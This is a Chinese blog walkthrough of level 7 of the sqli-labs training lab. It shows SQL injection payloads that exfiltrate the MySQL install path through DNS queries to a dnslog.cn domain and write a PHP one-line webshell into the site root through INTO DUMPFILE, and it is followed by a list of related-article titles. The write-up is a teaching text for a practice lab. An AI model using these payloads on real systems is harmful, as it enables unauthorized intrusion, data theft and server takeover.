1、首先判断注入点

正常显示是这样的

不正常显示是这样的

猜到最后,注入点是字符型,单引号加两个小括号,?id=1’)) – -

因为它只有正常显示和不正常显示两种状态,并且也没有MySQL的报错信息。正常来说,这里可以使用盲注,但是它页面上提示的有“Use outfile…”,既然它提示了,那么就说明它开了读写权限。所以这一关就用SQL注入读写文件来试一下

2、判断文件路径

可以利用读文件函数load_file(),结合dnslog.cn网站,实现带外攻击,看到MySQL的安装目录在哪。
先说一下MySQL的load_file()函数。这个函数里面写上文件的路径,就可以实现读取文件内容的操作。不过它只能读取文件,不能读取目录。所以load_file()函数里面一定要写“路径+文件名”,才会有回显。不然就会报错。另外,读本地文件的话,只要写上本地文件的路径就行,绝对路径和相对路径都行。读网络文件的话,要用"\\+域名\+文件名"的写法。前面写上四个\是为了转义,最终的效果是:\域名\文件名
接下来,先在dnslog网站上获取一个随机域名。

接下来,构造语句:?id=1’)) and load_file(concat(’\\’,(substr(hex(@@basedir),1,30)),’.r8luxv.dnslog.cn\1.txt’)) – -,并执行。这个语句中间用了hex()函数,把@@basedir加密。为了避免URL中显示不出某些特殊符号,并且了使用substr()字符串截取函数,因为URL的长度是有限制的。虽然执行完之后页面会报错,但是不影响结果,可以看到dnslog网站上已经出现了一串字符


接下来,只需要继续截取,就能获取到完整的路径了


把得到的路径拼接起来

然后再使用十六进制解码,得到路径

3、开始写文件

根据上一步,可以看出来这个网站的搭建环境是一个phpstudy的集成环境,那么它的网站根目录是D:\phpStudy\PHPTutorial\WWW\。知道了网站根目录,接下来,利用outfile()写函数,往网站根目录里写入一句话木马文件。
构造语句:?id=-1’)) union select ‘’,’’,’<?php @eval($_REQUEST[666]) ?>’ into dumpfile ‘D:\phpStudy\PHPTutorial\WWW\1.php’ – -
至于语句为什么这么构造,最前面的id=-1是因为union select在into dumpfile()的时候,会把前面的查询结果也一块写入到文件中,像这样:1DumbDumb<?php @eval($_REQUEST[666]) ?>。如果让前面的id=-1,这样前面的select就查询不到结果了,那么写入到文件中的就会如我们所愿了;其次,union select后面还有两个空的单引号,是因为这里查询了三列。union select如果不查询三列的话,就会出错。所以多加了两个空的单引号。
再来到网站目录下,看到我们上传的一句话木马文件已经在了。

4、使用菜刀连接



连接成功,第七关完成

sqli-labs第七关相关推荐

  1. 利用注入写Webshell(sql-lab第七关)

    结合PHP一句话木马 利用outfile生成文件 利用条件 1.文件具有写的条件 2.知道绝对路径 以sql-lab第七关为例 http://192.168.3.10/sqli/Less-7/?id= ...

  2. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  3. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  4. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  5. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  6. 【less-7】sqli-labs靶场第七关(类似less-5)

    第七关 和第五关相比单引号和双括号,简单构造 一下即可 https://sqli.wmcoder.site/sqli-labs/Less-7?id=1')) and ord(mid((select I ...

  7. Linux下sql_labs第七关,SQL注入之Sqli-labs系列第二十七关(过滤空格、注释符、union select)和第二十七A...

    开始挑战第二十七关(Trick with SELECT & UNION) 第二十七A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与26关一样,这次 ...

  8. sqli——labs初学者通关详

    目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...

  9. upload-labs-master文件上传靶场第七关详解

    一.前言 upload-labs-master是文件上传靶场,里面目前总共有19关,github地址https://github.com/c0ny1/upload-labs,今天要说的是这个靶场的第七 ...

  10. SQLi LABS Less-7 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第七关是单引号+双括号的字符型注入,推荐使用布尔盲注. 方式一:布尔盲注 第一 ...

最新文章

  1. __slots__(面向对象进阶)
  2. Visual Studio 2013开发 mini-filter driver step by step (5) - 读写文件
  3. 震惊了!每30秒学会一个Python小技巧,Github星数6000+
  4. shell读取文件到变量、管道重定向、if和while嵌套使用、命令替换
  5. 关于Oracle undostat中的2012和ORA-01555问题的自我解答
  6. 在阿里云 ECS 上试图安装 SAP Commerce Cloud 的 137 错误
  7. centos安装python3、redis和虚拟环境
  8. CentOS下安装配置MySQL8.0的步骤详解
  9. Bootstrap 按钮(实例 )
  10. 李雅普诺夫稳定性定理
  11. 在线压缩图片---*.jpg *.png
  12. 没有苹果开发者账号能否创建ios证书-最新
  13. 阿里云盘进场,安全星球凭什么成为云盘界的一股清流
  14. Web前端HTML-CSS学习笔记
  15. T100学习笔记 - Genero FGL
  16. 基于全基因组的基因家族分析的初尝试
  17. Lq93:复原 IP 地址
  18. qnx 设备驱动开发_QNX简介
  19. 超级强大的SVG SMIL animation动画详解
  20. [AHOI2014/JSOI2014]骑士游戏

热门文章

  1. 程序员如何打造自己的个人IP?
  2. 免费虚拟服务器试用,免费虚拟服务器试用
  3. limit用法,左右内连接的写法和区别
  4. redis性能分析工具redis-faina
  5. h5页面保存img_从微信H5点击保存图片说起
  6. 阿里云网站备案期间对网站访问的影响
  7. 我与SM不得不说的故事(一)
  8. STM32之光敏电阻传感器模块的使用
  9. 扁鹊医术与企业解决方案
  10. JDK14的重大更新